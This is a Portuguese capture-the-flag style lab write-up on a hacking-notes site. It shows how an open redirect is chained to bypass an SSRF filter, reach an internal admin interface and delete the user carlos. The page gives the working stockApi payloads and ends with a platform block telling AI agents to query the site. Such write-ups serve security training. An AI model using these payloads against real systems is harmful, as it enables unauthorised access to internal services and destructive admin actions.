> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/pt-br/web/ssrf/ssrf-bypass-via-open-redirection.md).

# Bypass de SSRF via Redirecionamento Aberto

### SSRF com Bypass de Filtro via Vulnerabilidade de Redirecionamento Aberto

Este laboratório usa um recurso de verificação de estoque que recupera dados de um sistema interno. / O objetivo é modificar a URL usada pelo verificador de estoque para alcançar a interface de administração localizada em `HTTP://192.168.0.12:8080/admin`, em seguida excluir o usuário **carlos**.

Filtros no lado do servidor permitem apenas URLs internas à aplicação, o que exige explorar uma vulnerabilidade de redirecionamento aberto.

#### Análise

O parâmetro controlado é:

```javascript
stockApi=/product/stock/check?productId=1%26storeId=1
```

Se tentarmos diretamente:

```javascript
stockApi=http://192.168.0.12:8080/admin
```

o servidor retorna `URL externa de verificação de estoque inválida 'Invalid URL'`: solicitações externas são bloqueadas.

<figure><img src="/files/97955479a227716af11b3ba6b8140f0770fce895" alt=""><figcaption></figcaption></figure>

No entanto, a aplicação tem um **nextProduct** recurso, que é vulnerável a redirecionamento aberto por meio do `caminho` parâmetro:

{% code overflow="wrap" %}

```
https://0adc006f044883d082847e1d00a500b3.web-security-academy.net/product/nextProduct?currentProductId=1&path=/product?productId=2
```

{% endcode %}

<figure><img src="/files/5f78a7f83c29af22891782001f1d2771f26ed1d5" alt=""><figcaption></figcaption></figure>

Esse recurso força o servidor a seguir uma URL arbitrária para a qual ele redireciona.

#### Exploração

O redirecionador interno é, portanto, usado como um intermediário para o sistema interno:

```javascript
stockApi=/product/nextProduct?currentProductId=1%26path=http://192.168.0.12:8080/admin
```

<figure><img src="/files/eca1eab0dd9da269733245fdb866b8b59e70b620" alt=""><figcaption></figcaption></figure>

Uma vez obtido acesso à interface de administração por meio desse redirecionamento, o usuário **carlos** é excluído:

{% code overflow="wrap" %}

```
stockApi=/product/nextProduct?currentProductId=1%26path=http://192.168.0.12:8080/admin/delete?username=carlos
```

{% endcode %}


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/pt-br/web/ssrf/ssrf-bypass-via-open-redirection.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
